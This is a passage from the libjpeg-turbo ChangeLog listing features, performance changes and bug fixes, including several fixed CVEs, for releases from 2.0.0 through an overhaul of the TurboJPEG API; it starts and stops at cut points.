2.1.5.1: + +1. Significantly sped up the computation of optimal Huffman tables. This +speeds up the compression of tiny images by as much as 2x and provides a +noticeable speedup for images as large as 256x256 when using optimal Huffman +tables. + +2. All deprecated fields, constructors, and methods in the TurboJPEG Java API +have been removed. + +3. Arithmetic entropy coding is now supported with 12-bit-per-component JPEG +images. + +4. Overhauled the TurboJPEG API to address long-standing limitations and to +make the API more extensible and intuitive: + + - All C function names are now prefixed with `tj3`, and all version +suffixes have been removed from the function names. Future API overhauls will +increment the prefix to `tj4`, etc., thus retaining backward API/ABI +compatibility without versioning each individual function. + - Stateless boolean flags have been replaced with stateful integer API +parameters, the values of which persist between function calls. New +functions/methods (`tj3Set()`/`TJCompressor.set()`/`TJDecompressor.set()` and +`tj3Get()`/`TJCompressor.get()`/`TJDecompressor.get()`) can be used to set and +query the value of a particular API parameter. + - The JPEG quality and subsampling are now implemented using API +parameters rather than stateless function arguments (C) or dedicated set/get +methods (Java.) + - `tj3DecompressHeader()` now stores all relevant information about the +JPEG image, including the width, height, subsampling type, entropy coding +algorithm, etc., in API parameters rather than returning that information +through pointer arguments. + - `TJFLAG_LIMITSCANS`/`TJ.FLAG_LIMITSCANS` has been reimplemented as an +API parameter (`TJPARAM_SCANLIMIT`/`TJ.PARAM_SCANLIMIT`) that allows the number +of scans to be specified. + - Huffman table optimization can now be specified using a new API +parameter (`TJPARAM_OPTIMIZE`/`TJ.PARAM_OPTIMIZE`), a new transform option +(`TJXOPT_OPTIMIZE`/`TJTransform.OPT_OPTIMIZE`), and a new TJBench option +(`-optimize`.) + - Arithmetic entropy coding can now be specified or queried, using a new +API parameter (`TJPARAM_ARITHMETIC`/`TJ.PARAM_ARITHMETIC`), a new transform +option (`TJXOPT_ARITHMETIC`/`TJTransform.OPT_ARITHMETIC`), and a new TJBench +option (`-arithmetic`.) + - The restart marker interval can now be specified, using new API +parameters (`TJPARAM_RESTARTROWS`/`TJ.PARAM_RESTARTROWS` and +`TJPARAM_RESTARTBLOCKS`/`TJ.PARAM_RESTARTBLOCKS`) and a new TJBench option +(`-restart`.) + - Pixel density can now be specified or queried, using new API parameters +(`TJPARAM_XDENSITY`/`TJ.PARAM_XDENSITY`, +`TJPARAM_YDENSITY`/`TJ.PARAM_YDENSITY`, and +`TJPARAM_DENSITYUNITS`/`TJ.PARAM_DENSITYUNITS`.) + - The accurate DCT/IDCT algorithms are now the default for both +compression and decompression, since the "fast" algorithms are considered to be +a legacy feature. (The "fast" algorithms do not pass the ISO compliance tests, +and those algorithms are not any faster than the accurate algorithms on modern +x86 CPUs.) + - All C initialization functions have been combined into a single function +(`tj3Init()`) that accepts an integer argument specifying the subsystems to +initialize. + - All C functions now use the `const` keyword for pointer arguments that +point to unmodified buffers (and for both dimensions of pointer arguments that +point to sets of unmodified buffers.) + - All C functions now use `size_t` rather than `unsigned long` to +represent buffer sizes, for compatibility with `malloc()` and to avoid +disparities in the size of `unsigned long` between LP64 (Un*x) and LLP64 +(Windows) operating systems. + - All C buffer size functions now return 0 if an error occurs, rather than +trying to awkwardly return -1 in an unsigned data type (which could easily be +misinterpreted as a very large value.) + - Decompression scaling is now enabled explicitly, using a new +function/method (`tj3SetScalingFactor()`/`TJDecompressor.setScalingFactor()`), +rather than implicitly using awkward "desired width"/"desired height" +arguments. + - Partial image decompression has been implemented, using a new +function/method (`tj3SetCroppingRegion()`/`TJDecompressor.setCroppingRegion()`) +and a new TJBench option (`-crop`.) + - The JPEG colorspace can now be specified explicitly when compressing, +using a new API parameter (`TJPARAM_COLORSPACE`/`TJ.PARAM_COLORSPACE`.) This +allows JPEG images with the RGB and CMYK colorspaces to be created. + - TJBench no longer generates error/difference images, since identical +functionality is already available in ImageMagick. + - JPEG images with unknown subsampling configurations can now be +fully decompressed into packed-pixel images or losslessly transformed (with the +exception of lossless cropping.) They cannot currently be partially +decompressed or decompressed into planar YUV images. + - `tj3Destroy()` now silently accepts a NULL handle. + - `tj3Alloc()` and `tj3Free()` now return/accept void pointers, as +`malloc()` and `free()` do. + - The C image I/O functions now accept a TurboJPEG instance handle, which +is used to transmit/receive API parameter values and to receive error +information. + +5. Added support for 8-bit-per-component, 12-bit-per-component, and +16-bit-per-component lossless JPEG images. A new libjpeg API function +(`jpeg_enable_lossless()`), TurboJPEG API parameters +(`TJPARAM_LOSSLESS`/`TJ.PARAM_LOSSLESS`, +`TJPARAM_LOSSLESSPSV`/`TJ.PARAM_LOSSLESSPSV`, and +`TJPARAM_LOSSLESSPT`/`TJ.PARAM_LOSSLESSPT`), and a cjpeg/TJBench option +(`-lossless`) can be used to create a lossless JPEG image. (Decompression of +lossless JPEG images is handled automatically.) Refer to +[libjpeg.txt](doc/libjpeg.txt), [usage.txt](doc/usage.txt), and the TurboJPEG +API documentation for more details. + +6. Added support for 12-bit-per-component (lossy and lossless) and +16-bit-per-component (lossless) JPEG images to the libjpeg and TurboJPEG APIs: + + - The existing `data_precision` field in `jpeg_compress_struct` and +`jpeg_decompress_struct` has been repurposed to enable the creation of +12-bit-per-component and 16-bit-per-component JPEG images or to detect whether +a 12-bit-per-component or 16-bit-per-component JPEG image is being +decompressed. + - New 12-bit-per-component and 16-bit-per-component versions of +`jpeg_write_scanlines()` and `jpeg_read_scanlines()`, as well as new +12-bit-per-component versions of `jpeg_write_raw_data()`, +`jpeg_skip_scanlines()`, `jpeg_crop_scanline()`, and `jpeg_read_raw_data()`, +provide interfaces for compressing from/decompressing to 12-bit-per-component +and 16-bit-per-component packed-pixel and planar YUV image buffers. + - New 12-bit-per-component and 16-bit-per-component compression, +decompression, and image I/O functions/methods have been added to the TurboJPEG +API, and a new API parameter (`TJPARAM_PRECISION`/`TJ.PARAM_PRECISION`) can be +used to query the data precision of a JPEG image. (YUV functions are currently +limited to 8-bit data precision but can be expanded to accommodate 12-bit data +precision in the future, if such is deemed beneficial.) + - A new cjpeg and TJBench command-line argument (`-precision`) can be used +to create a 12-bit-per-component or 16-bit-per-component JPEG image. +(Decompression and transformation of 12-bit-per-component and +16-bit-per-component JPEG images is handled automatically.) + + Refer to [libjpeg.txt](doc/libjpeg.txt), [usage.txt](doc/usage.txt), and +the TurboJPEG API documentation for more details. + + +2.1.5.1 +======= + +### Significant changes relative to 2.1.5: + +1. The SIMD dispatchers in libjpeg-turbo 2.1.4 and prior stored the list of +supported SIMD instruction sets in a global variable, which caused an innocuous +race condition whereby the variable could have been initialized multiple times +if `jpeg_start_*compress()` was called simultaneously in multiple threads. +libjpeg-turbo 2.1.5 included an undocumented attempt to fix this race condition +by making the SIMD support variable thread-local. However, that caused another +issue whereby, if `jpeg_start_*compress()` was called in one thread and +`jpeg_read_*()` or `jpeg_write_*()` was called in a second thread, the SIMD +support variable was never initialized in the second thread. On x86 systems, +this led the second thread to incorrectly assume that AVX2 instructions were +always available, and when it attempted to use those instructions on older x86 +CPUs that do not support them, an illegal instruction error occurred. The SIMD +dispatchers now ensure that the SIMD support variable is initialized before +dispatching based on its value. + + +2.1.5 +===== + +### Significant changes relative to 2.1.4: + +1. Fixed issues in the build system whereby, when using the Ninja Multi-Config +CMake generator, a static build of libjpeg-turbo (a build in which +`ENABLE_SHARED` is `0`) could not be installed, a Windows installer could not +be built, and the Java regression tests failed. + +2. Fixed a regression introduced by 2.0 beta1[15] that caused a buffer overrun +in the progressive Huffman encoder when attempting to transform a +specially-crafted malformed 12-bit-per-component JPEG image into a progressive +12-bit-per-component JPEG image using a 12-bit-per-component build of +libjpeg-turbo (`-DWITH_12BIT=1`.) Given that the buffer overrun was fully +contained within the progressive Huffman encoder structure and did not cause a +segfault or other user-visible errant behavior, given that the lossless +transformer (unlike the decompressor) is not generally exposed to arbitrary +data exploits, and given that 12-bit-per-component builds of libjpeg-turbo are +uncommon, this issue did not likely pose a security risk. + +3. Fixed an issue whereby, when using a 12-bit-per-component build of +libjpeg-turbo (`-DWITH_12BIT=1`), passing samples with values greater than 4095 +or less than 0 to `jpeg_write_scanlines()` caused a buffer overrun or underrun +in the RGB-to-YCbCr color converter. + +4. Fixed a floating point exception that occurred when attempting to use the +jpegtran `-drop` and `-trim` options to losslessly transform a +specially-crafted malformed JPEG image. + +5. Fixed an issue in `tjBufSizeYUV2()` whereby it returned a bogus result, +rather than throwing an error, if the `align` parameter was not a power of 2. +Fixed a similar issue in `tjCompressFromYUV()` whereby it generated a corrupt +JPEG image in certain cases, rather than throwing an error, if the `align` +parameter was not a power of 2. + +6. Fixed an issue whereby `tjDecompressToYUV2()`, which is a wrapper for +`tjDecompressToYUVPlanes()`, used the desired YUV image dimensions rather than +the actual scaled image dimensions when computing the plane pointers and +strides to pass to `tjDecompressToYUVPlanes()`. This caused a buffer overrun +and subsequent segfault if the desired image dimensions exceeded the scaled +image dimensions. + +7. Fixed an issue whereby, when decompressing a 12-bit-per-component JPEG image +(`-DWITH_12BIT=1`) using an alpha-enabled output color space such as +`JCS_EXT_RGBA`, the alpha channel was set to 255 rather than 4095. + +8. Fixed an issue whereby the Java version of TJBench did not accept a range of +quality values. + +9. Fixed an issue whereby, when `-progressive` was passed to TJBench, the JPEG +input image was not transformed into a progressive JPEG image prior to +decompression. + + +2.1.4 +===== + +### Significant changes relative to 2.1.3: + +1. Fixed a regression introduced in 2.1.3 that caused build failures with +Visual Studio 2010. + +2. The `tjDecompressHeader3()` function in the TurboJPEG C API and the +`TJDecompressor.setSourceImage()` method in the TurboJPEG Java API now accept +"abbreviated table specification" (AKA "tables-only") datastreams, which can be +used to prime the decompressor with quantization and Huffman tables that can be +used when decompressing subsequent "abbreviated image" datastreams. + +3. libjpeg-turbo now performs run-time detection of AltiVec instructions on +OS X/PowerPC systems if AltiVec instructions are not enabled at compile time. +This allows both AltiVec-equipped (PowerPC G4 and G5) and non-AltiVec-equipped +(PowerPC G3) CPUs to be supported using the same build of libjpeg-turbo. + +4. Fixed an error ("Bogus virtual array access") that occurred when attempting +to decompress a progressive JPEG image with a height less than or equal to one +iMCU (8 * the vertical sampling factor) using buffered-image mode with +interblock smoothing enabled. This was a regression introduced by +2.1 beta1[6(b)]. + +5. Fixed two issues that prevented partial image decompression from working +properly with buffered-image mode: + + - Attempting to call `jpeg_crop_scanline()` after +`jpeg_start_decompress()` but before `jpeg_start_output()` resulted in an error +("Improper call to JPEG library in state 207".) + - Attempting to use `jpeg_skip_scanlines()` resulted in an error ("Bogus +virtual array access") under certain circumstances. + + +2.1.3 +===== + +### Significant changes relative to 2.1.2: + +1. Fixed a regression introduced by 2.0 beta1[7] whereby cjpeg compressed PGM +input files into full-color JPEG images unless the `-grayscale` option was +used. + +2. cjpeg now automatically compresses GIF and 8-bit BMP input files into +grayscale JPEG images if the input files contain only shades of gray. + +3. The build system now enables the intrinsics implementation of the AArch64 +(Arm 64-bit) Neon SIMD extensions by default when using GCC 12 or later. + +4. Fixed a segfault that occurred while decompressing a 4:2:0 JPEG image using +the merged (non-fancy) upsampling algorithms (that is, with +`cinfo.do_fancy_upsampling` set to `FALSE`) along with `jpeg_crop_scanline()`. +Specifically, the segfault occurred if the number of bytes remaining in the +output buffer was less than the number of bytes required to represent one +uncropped scanline of the output image. For that reason, the issue could only +be reproduced using the libjpeg API, not using djpeg. + + +2.1.2 +===== + +### Significant changes relative to 2.1.1: + +1. Fixed a regression introduced by 2.1 beta1[13] that caused the remaining +GAS implementations of AArch64 (Arm 64-bit) Neon SIMD functions (which are used +by default with GCC for performance reasons) to be placed in the `.rodata` +section rather than in the `.text` section. This caused the GNU linker to +automatically place the `.rodata` section in an executable segment, which +prevented libjpeg-turbo from working properly with other linkers and also +represented a potential security risk. + +2. Fixed an issue whereby the `tjTransform()` function incorrectly computed the +iMCU size for 4:4:4 JPEG images with non-unary sampling factors and thus unduly +rejected some cropping regions, even though those regions aligned with 8x8 iMCU +boundaries. + +3. Fixed a regression introduced by 2.1 beta1[13] that caused the build system +to enable the Arm Neon SIMD extensions when targetting Armv6 and other legacy +architectures that do not support Neon instructions. + +4. libjpeg-turbo now performs run-time detection of AltiVec instructions on +FreeBSD/PowerPC systems if AltiVec instructions are not enabled at compile +time. This allows both AltiVec-equipped and non-AltiVec-equipped CPUs to be +supported using the same build of libjpeg-turbo. + +5. cjpeg now accepts a `-strict` argument similar to that of djpeg and +jpegtran, which causes the compressor to abort if an LZW-compressed GIF input +image contains incomplete or corrupt image data. + + +2.1.1 +===== + +### Significant changes relative to 2.1.0: + +1. Fixed a regression introduced in 2.1.0 that caused build failures with +non-GCC-compatible compilers for Un*x/Arm platforms. + +2. Fixed a regression introduced by 2.1 beta1[13] that prevented the Arm 32-bit +(AArch32) Neon SIMD extensions from building unless the C compiler flags +included `-mfloat-abi=softfp` or `-mfloat-abi=hard`. + +3. Fixed an issue in the AArch32 Neon SIMD Huffman encoder whereby reliance on +undefined C compiler behavior led to crashes ("SIGBUS: illegal alignment") on +Android systems when running AArch32/Thumb builds of libjpeg-turbo built with +recent versions of Clang. + +4. Added a command-line argument (`-copy icc`) to jpegtran that causes it to +copy only the ICC profile markers from the source file and discard any other +metadata. + +5. libjpeg-turbo should now build and run on CHERI-enabled architectures, which +use capability pointers that are larger than the size of `size_t`. + +6. Fixed a regression (CVE-2021-37972) introduced by 2.1 beta1[5] that caused a +segfault in the 64-bit SSE2 Huffman encoder when attempting to losslessly +transform a specially-crafted malformed JPEG image. + + +2.1.0 +===== + +### Significant changes relative to 2.1 beta1: + +1. Fixed a regression (CVE-2021-29390) introduced by 2.1 beta1[6(b)] whereby +attempting to decompress certain progressive JPEG images with one or more +component planes of width 8 or less caused a buffer overrun. + +2. Fixed a regression introduced by 2.1 beta1[6(b)] whereby attempting to +decompress a specially-crafted malformed progressive JPEG image caused the +block smoothing algorithm to read from uninitialized memory. + +3. Fixed an issue in the Arm Neon SIMD Huffman encoders that caused the +encoders to generate incorrect results when using the Clang compiler with +Visual Studio. + +4. Fixed a floating point exception (CVE-2021-20205) that occurred when +attempting to compress a specially-crafted malformed GIF image with a specified +image width of 0 using cjpeg. + +5. Fixed a regression introduced by 2.0 beta1[15] whereby attempting to +generate a progressive JPEG image on an SSE2-capable CPU using a scan script +containing one or more scans with lengths divisible by 32 and non-zero +successive approximation low bit positions would, under certain circumstances, +result in an error ("Missing Huffman code table entry") and an invalid JPEG +image. + +6. Introduced a new flag (`TJFLAG_LIMITSCANS` in the TurboJPEG C API and +`TJ.FLAG_LIMIT_SCANS` in the TurboJPEG Java API) and a corresponding TJBench +command-line argument (`-limitscans`) that causes the TurboJPEG decompression +and transform functions/operations to return/throw an error if a progressive +JPEG image contains an unreasonably large number of scans. This allows +applications that use the TurboJPEG API to guard against an exploit of the +progressive JPEG format described in the report +["Two Issues with the JPEG Standard"](https://libjpeg-turbo.org/pmwiki/uploads/About/TwoIssueswiththeJPEGStandard.pdf). + +7. The PPM reader now throws an error, rather than segfaulting (due to a buffer +overrun, CVE-2021-46822) or generating incorrect pixels, if an application +attempts to use the `tjLoadImage()` function to load a 16-bit binary PPM file +(a binary PPM file with a maximum value greater than 255) into a grayscale +image buffer or to load a 16-bit binary PGM file into an RGB image buffer. + +8. Fixed an issue in the PPM reader that caused incorrect pixels to be +generated when using the `tjLoadImage()` function to load a 16-bit binary PPM +file into an extended RGB image buffer. + +9. Fixed an issue whereby, if a JPEG buffer was automatically re-allocated by +one of the TurboJPEG compression or transform functions and an error +subsequently occurred during compression or transformation, the JPEG buffer +pointer passed by the application was not updated when the function returned. + + +2.0.90 (2.1 beta1) +================== + +### Significant changes relative to 2.0.6: + +1. The build system, x86-64 SIMD extensions, and accelerated Huffman codec now +support the x32 ABI on Linux, which allows for using x86-64 instructions with +32-bit pointers. The x32 ABI is generally enabled by adding `-mx32` to the +compiler flags. + + Caveats: + - CMake 3.9.0 or later is required in order for the build system to +automatically detect an x32 build. + - Java does not support the x32 ABI, and thus the TurboJPEG Java API will +automatically be disabled with x32 builds. + +2. Added Loongson MMI SIMD implementations of the RGB-to-grayscale, 4:2:2 fancy +chroma upsampling, 4:2:2 and 4:2:0 merged chroma upsampling/color conversion, +and fast integer DCT/IDCT algorithms. Relative to libjpeg-turbo 2.0.x, this +speeds up: + + - the compression of RGB source images into grayscale JPEG images by +approximately 20% + - the decompression of 4:2:2 JPEG images by approximately 40-60% when +using fancy upsampling + - the decompression of 4:2:2 and 4:2:0 JPEG images by approximately +15-20% when using merged upsampling + - the compression of RGB source images by approximately 30-45% when using +the fast integer DCT + - the decompression of JPEG images into RGB destination images by +approximately 2x when using the fast integer IDCT + + The overall decompression speedup for RGB images is now approximately +2.3-3.7x (compared to 2-3.5x with libjpeg-turbo 2.0.x.) + +3. 32-bit (Armv7 or Armv7s) iOS builds of libjpeg-turbo are no longer +supported, and the libjpeg-turbo build system can no longer be used to package +such builds. 32-bit iOS apps cannot run in iOS 11 and later, and the App Store +no longer allows them. + +4. 32-bit (i386) OS X/macOS builds of libjpeg-turbo are no longer supported, +and the libjpeg-turbo build system can no longer be used to package such +builds. 32-bit Mac applications cannot run in macOS 10.15 "Catalina" and +later, and the App Store no longer allows them. + +5. The SSE2 (x86 SIMD) and C Huffman encoding algorithms have been +significantly optimized, resulting in a measured average overall compression +speedup of 12-28% for 64-bit code and 22-52% for 32-bit code on various Intel +and AMD CPUs, as well as a measured average overall compression speedup of +0-23% on platforms that do not have a SIMD-accelerated Huffman encoding +implementation. + +6. The block smoothing algorithm that is applied by default when decompressing +progressive Huffman-encoded JPEG images has been improved in the following +ways: + + - The algorithm is now more fault-tolerant. Previously, if a particular +scan was incomplete, then the smoothing parameters for the incomplete scan +would be applied to the entire output image, including the parts of the image +that were generated by the prior (complete) scan. Visually, this had the +effect of removing block smoothing from lower-frequency scans if they were +followed by an incomplete higher-frequency scan. libjpeg-turbo now applies +block smoothing parameters to each iMCU row based on which scan generated the +pixels in that row, rather than always using the block smoothing parameters for +the most recent scan. + - When applying block smoothing to DC scans, a Gaussian-like kernel with a +5x5 window is used to reduce the "blocky" appearance. + +7. Added SIMD acceleration for progressive Huffman encoding on Arm platforms. +This speeds up the compression of full-color progressive JPEGs by about 30-40% +on average (relative to libjpeg-turbo 2.0.x) when using modern Arm CPUs. + +8. Added configure-time and run-time auto-detection of Loongson MMI SIMD +instructions, so that the Loongson MMI SIMD extensions can be included in any +MIPS64 libjpeg-turbo build. + +9. Added fault tolerance features to djpeg and jpegtran, mainly to demonstrate +methods by which applications can guard against the exploits of the JPEG format +described in the report +["Two Issues with the JPEG Standard"](https://libjpeg-turbo.org/pmwiki/uploads/About/TwoIssueswiththeJPEGStandard.pdf). + + - Both programs now accept a `-maxscans` argument, which can be used to +limit the number of allowable scans in the input file. + - Both programs now accept a `-strict` argument, which can be used to +treat all warnings as fatal. + +10. CMake package config files are now included for both the libjpeg and +TurboJPEG API libraries. This facilitates using libjpeg-turbo with CMake's +`find_package()` function. For example: + + find_package(libjpeg-turbo CONFIG REQUIRED) + + add_executable(libjpeg_program libjpeg_program.c) + target_link_libraries(libjpeg_program PUBLIC libjpeg-turbo::jpeg) + + add_executable(libjpeg_program_static libjpeg_program.c) + target_link_libraries(libjpeg_program_static PUBLIC + libjpeg-turbo::jpeg-static) + + add_executable(turbojpeg_program turbojpeg_program.c) + target_link_libraries(turbojpeg_program PUBLIC + libjpeg-turbo::turbojpeg) + + add_executable(turbojpeg_program_static turbojpeg_program.c) + target_link_libraries(turbojpeg_program_static PUBLIC + libjpeg-turbo::turbojpeg-static) + +11. Since the Unisys LZW patent has long expired, cjpeg and djpeg can now +read/write both LZW-compressed and uncompressed GIF files (feature ported from +jpeg-6a and jpeg-9d.) + +12. jpegtran now includes the `-wipe` and `-drop` options from jpeg-9a and +jpeg-9d, as well as the ability to expand the image size using the `-crop` +option. Refer to jpegtran.1 or usage.txt for more details. + +13. Added a complete intrinsics implementation of the Arm Neon SIMD extensions, +thus providing SIMD acceleration on Arm platforms for all of the algorithms +that are SIMD-accelerated on x86 platforms. This new implementation is +significantly faster in some cases than the old GAS implementation-- +depending on the algorithms used, the type of CPU core, and the compiler. GCC, +as of this writing, does not provide a full or optimal set of Neon intrinsics, +so for performance reasons, the default when building libjpeg-turbo with GCC is +to continue using the GAS implementation of the following algorithms: + + - 32-bit RGB-to-YCbCr color conversion + - 32-bit fast and accurate inverse DCT + - 64-bit RGB-to-YCbCr and YCbCr-to-RGB color conversion + - 64-bit accurate forward and inverse DCT + - 64-bit Huffman encoding + + A new CMake variable (`NEON_INTRINSICS`) can be used to override this +default. + + Since the new intrinsics implementation includes SIMD acceleration +for merged upsampling/color conversion, 1.5.1[5] is no longer necessary and has +been reverted. + +14. The Arm Neon SIMD extensions can now be built using Visual Studio. + +15. The build system can now be used to generate a universal x86-64 + Armv8 +libjpeg-turbo SDK package for both iOS and macOS. + + +2.0.6 +===== + +### Significant changes relative to 2.0.5: + +1. Fixed "using JNI after critical get" errors that occurred on Android +platforms when using any of the YUV encoding/compression/decompression/decoding +methods in the TurboJPEG Java API. + +2. Fixed or worked around multiple issues with `jpeg_skip_scanlines()`: + + - Fixed segfaults (CVE-2020-35538) or "Corrupt JPEG data: premature end of +data segment" errors in `jpeg_skip_scanlines()` that occurred when +decompressing 4:2:2 or 4:2:0 JPEG images using merged (non-fancy) +upsampling/color conversion (that is, when setting `cinfo.do_fancy_upsampling` +to `FALSE`.) 2.0.0[6] was a similar fix, but it did not cover all cases. + - `jpeg_skip_scanlines()` now throws an error if two-pass color +quantization is enabled. Two-pass color quantization never worked properly +with `jpeg_skip_scanlines()`, and the issues could not readily be fixed. + - Fixed an issue whereby `jpeg_skip_scanlines()` always returned 0 when +skipping past the end of an image. + +3. The Arm 64-bit (Armv8) Neon SIMD extensions can now be built using MinGW +toolchains targetting Arm64 (AArch64) Windows binaries. + +4. Fixed unexpected visual artifacts that occurred when using +`jpeg_crop_scanline()` and interblock smoothing while decompressing only the DC +scan of a progressive JPEG image. + +5. Fixed an issue whereby libjpeg-turbo would not build if 12-bit-per-component +JPEG support (`WITH_12BIT`) was enabled along with libjpeg v7 or libjpeg v8 +API/ABI emulation (`WITH_JPEG7` or `WITH_JPEG8`.) + + +2.0.5 +===== + +### Significant changes relative to 2.0.4: + +1. Worked around issues in the MIPS DSPr2 SIMD extensions that caused failures +in the libjpeg-turbo regression tests. Specifically, the +`jsimd_h2v1_downsample_dspr2()` and `jsimd_h2v2_downsample_dspr2()` functions +in the MIPS DSPr2 SIMD extensions are now disabled until/unless they can be +fixed, and other functions that are incompatible with big endian MIPS CPUs are +disabled when building libjpeg-turbo for such CPUs. + +2. Fixed an oversight in the `TJCompressor.compress(int)` method in the +TurboJPEG Java API that caused an error ("java.lang.IllegalStateException: No +source image is associated with this instance") when attempting to use that +method to compress a YUV image. + +3. Fixed an issue (CVE-2020-13790) in the PPM reader that caused a buffer +overrun in cjpeg, TJBench, or the `tjLoadImage()` function if one of the values +in a binary PPM/PGM input file exceeded the maximum value defined in the file's +header and that maximum value was less than 255. libjpeg-turbo 1.5.0 already +included a similar fix for binary PPM/PGM files with maximum values greater +than 255. + +4. The TurboJPEG API library's global error handler, which is used in functions +such as `tjBufSize()` and `tjLoadImage()` that do not require a TurboJPEG +instance handle, is now thread-safe on platforms that support thread-local +storage. + + +2.0.4 +===== + +### Significant changes relative to 2.0.3: + +1. Fixed a regression in the Windows packaging system (introduced by +2.0 beta1[2]) whereby, if both the 64-bit libjpeg-turbo SDK for GCC and the +64-bit libjpeg-turbo SDK for Visual C++ were installed on the same system, only +one of them could be uninstalled. + +2. Fixed a signed integer overflow and subsequent segfault (CVE-2019-2201) that +occurred when attempting to decompress images with more than 715827882 pixels +using the 64-bit C version of TJBench. + +3. Fixed out-of-bounds write in `tjDecompressToYUV2()` and +`tjDecompressToYUVPlanes()` (sometimes manifesting as a double free) that +occurred when attempting to decompress grayscale JPEG images that were +compressed with a sampling factor other than 1 (for instance, with +`cjpeg -grayscale -sample 2x2`). + +4. Fixed a regression introduced by 2.0.2[5] that caused the TurboJPEG API to +incorrectly identify some JPEG images with unusual sampling factors as 4:4:4 +JPEG images. This was known to cause a buffer overflow when attempting to +decompress some such images using `tjDecompressToYUV2()` or +`tjDecompressToYUVPlanes()`. + +5. Fixed an issue (CVE-2020-17541), detected by ASan, whereby attempting to +losslessly transform a specially-crafted malformed JPEG image containing an +extremely-high-frequency coefficient block (junk image data that could never be +generated by a legitimate JPEG compressor) could cause the Huffman encoder's +local buffer to be overrun. (Refer to 1.4.0[9] and 1.4beta1[15].) Given that +the buffer overrun was fully contained within the stack and did not cause a +segfault or other user-visible errant behavior, and given that the lossless +transformer (unlike the decompressor) is not generally exposed to arbitrary +data exploits, this issue did not likely pose a security risk. + +6. The Arm 64-bit (Armv8) Neon SIMD assembly code now stores constants in a +separate read-only data section rather than in the text section, to support +execute-only memory layouts. + + +2.0.3 +===== + +### Significant changes relative to 2.0.2: + +1. Fixed "using JNI after critical get" errors that occurred on Android +platforms when passing invalid arguments to certain methods in the TurboJPEG +Java API. + +2. Fixed a regression in the SIMD feature detection code, introduced by +the AVX2 SIMD extensions (2.0 beta1[1]), that was known to cause an illegal +instruction exception, in rare cases, on CPUs that lack support for CPUID leaf +07H (or on which the maximum CPUID leaf has been limited by way of a BIOS +setting.) + +3. The 4:4:0 (h1v2) fancy (smooth) chroma upsampling algorithm in the +decompressor now uses a similar bias pattern to that of the 4:2:2 (h2v1) fancy +chroma upsampling algorithm, rounding up or down the upsampled result for +alternate pixels rather than always rounding down. This ensures that, +regardless of whether a 4:2:2 JPEG image is rotated or transposed prior to +decompression (in the frequency domain) or after decompression (in the spatial +domain), the final image will be similar. + +4. Fixed an integer overflow and subsequent segfault (CVE-2019-2201) that +occurred when attempting to compress or decompress images with more than 1 +billion pixels using the TurboJPEG API. + +5. Fixed a regression introduced by 2.0 beta1[15] whereby attempting to +generate a progressive JPEG image on an SSE2-capable CPU using a scan script +containing one or more scans with lengths divisible by 16 would result in an +error ("Missing Huffman code table entry") and an invalid JPEG image. + +6. Fixed an issue whereby `tjDecodeYUV()` and `tjDecodeYUVPlanes()` would throw +an error ("Invalid progressive parameters") or a warning ("Inconsistent +progression sequence") if passed a TurboJPEG instance that was previously used +to decompress a progressive JPEG image. + + +2.0.2 +===== + +### Significant changes relative to 2.0.1: + +1. Fixed a regression introduced by 2.0.1[5] that prevented a runtime search +path (rpath) from being embedded in the libjpeg-turbo shared libraries and +executables for macOS and iOS. This caused a fatal error of the form +"dyld: Library not loaded" when attempting to use one of the executables, +unless `DYLD_LIBRARY_PATH` was explicitly set to the location of the +libjpeg-turbo shared libraries. + +2. Fixed an integer overflow and subsequent segfault (CVE-2018-20330) that +occurred when attempting to load a BMP file with more than 1 billion pixels +using the `tjLoadImage()` function. + +3. Fixed a buffer overrun (CVE-2018-19664) that occurred when attempting to +decompress a specially-crafted malformed JPEG image to a 256-color BMP using +djpeg. + +4. Fixed a floating point exception that occurred when attempting to +decompress a specially-crafted malformed JPEG image with a specified image +width or height of 0 using the C version of TJBench. + +5. The TurboJPEG API will now decompress 4:4:4 JPEG images with 2x1, 1x2, 3x1, +or 1x3 luminance and chrominance sampling factors. This is a non-standard way +of specifying 1x subsampling (normally 4:4:4 JPEGs have 1x1 luminance and +chrominance sampling factors), but the JPEG format and the libjpeg API both +allow it. + +6. Fixed a regression introduced by 2.0 beta1[7] that caused djpeg to generate +incorrect PPM images when used with the `-colors` option. + +7. Fixed an issue whereby a static build of libjpeg-turbo (a build in which +`ENABLE_SHARED` is `0`) could not be installed using the Visual Studio IDE. + +8. Fixed a severe performance issue in the Loongson MMI SIMD extensions that +occurred when compressing RGB images whose image rows were not 64-bit-aligned. + + +2.0.1 +===== + +### Significant changes relative to 2.0.0: + +1. Fixed a regression introduced with the new CMake-based Un*x build system, +whereby jconfig.h could cause compiler warnings of the form +`"HAVE_*_H" redefined` if it was included by downstream Autotools-based +projects that used `AC_CHECK_HEADERS()` to check for the existence of locale.h, +stddef.h, or stdlib.h. + +2. The `jsimd_quantize_float_dspr2()` and `jsimd_convsamp_float_dspr2()` +functions in the MIPS DSPr2 SIMD extensions are now disabled at compile time +if the soft float ABI is enabled. Those functions use instructions that are +incompatible with the soft float ABI. + +3. Fixed a regression in the SIMD feature detection code, introduced by +the AVX2 SIMD extensions (2.0 beta1[1]), that caused libjpeg-turbo to crash on +Windows 7 if Service Pack 1 was not installed. + +4. Fixed out-of-bounds read in cjpeg that occurred when attempting to compress +a specially-crafted malformed color-index (8-bit-per-sample) Targa file in +which some of the samples (color indices) exceeded the bounds of the Targa +file's color table. + +5. Fixed an issue whereby installing a fully static build of libjpeg-turbo +(a build in which `CFLAGS` contains `-static` and `ENABLE_SHARED` is `0`) would +fail with "No valid ELF RPATH or RUNPATH entry exists in the file." + + +2.0.0 +===== + +### Significant changes relative to 2.0 beta1: + +1. The TurboJPEG API can now decompress CMYK JPEG images that have subsampled M +and Y components (not to be confused with YCCK JPEG images, in which the C/M/Y +components have been transformed into luma and chroma.) Previously, an error +was generated ("Could not determine subsampling type for JPEG image") when such +an image was passed to `tjDecompressHeader3()`, `tjTransform()`, +`tjDecompressToYUVPlanes()`, `tjDecompressToYUV2()`, or the equivalent Java +methods. + +2. Fixed an issue (CVE-2018-11813) whereby a specially-crafted malformed input +file (specifically, a file with a valid Targa header but incomplete pixel data) +would cause cjpeg to generate a JPEG file that was potentially thousands of +times larger than the input file. The Targa reader in cjpeg was not properly +detecting that the end of the input file had been reached prematurely, so after +all valid pixels had been read from the input, the reader injected dummy pixels +with values of 255 into the JPEG compressor until the number of pixels +specified in the Targa header had been compressed. The Targa reader in cjpeg +now behaves like the PPM reader and aborts compression if the end of the input +file is reached prematurely. Because this issue only affected cjpeg and not +the underlying library, and because it did not involve any out-of-bounds reads +or other exploitable behaviors, it was not believed to represent a security +threat. + +3. Fixed an issue whereby the 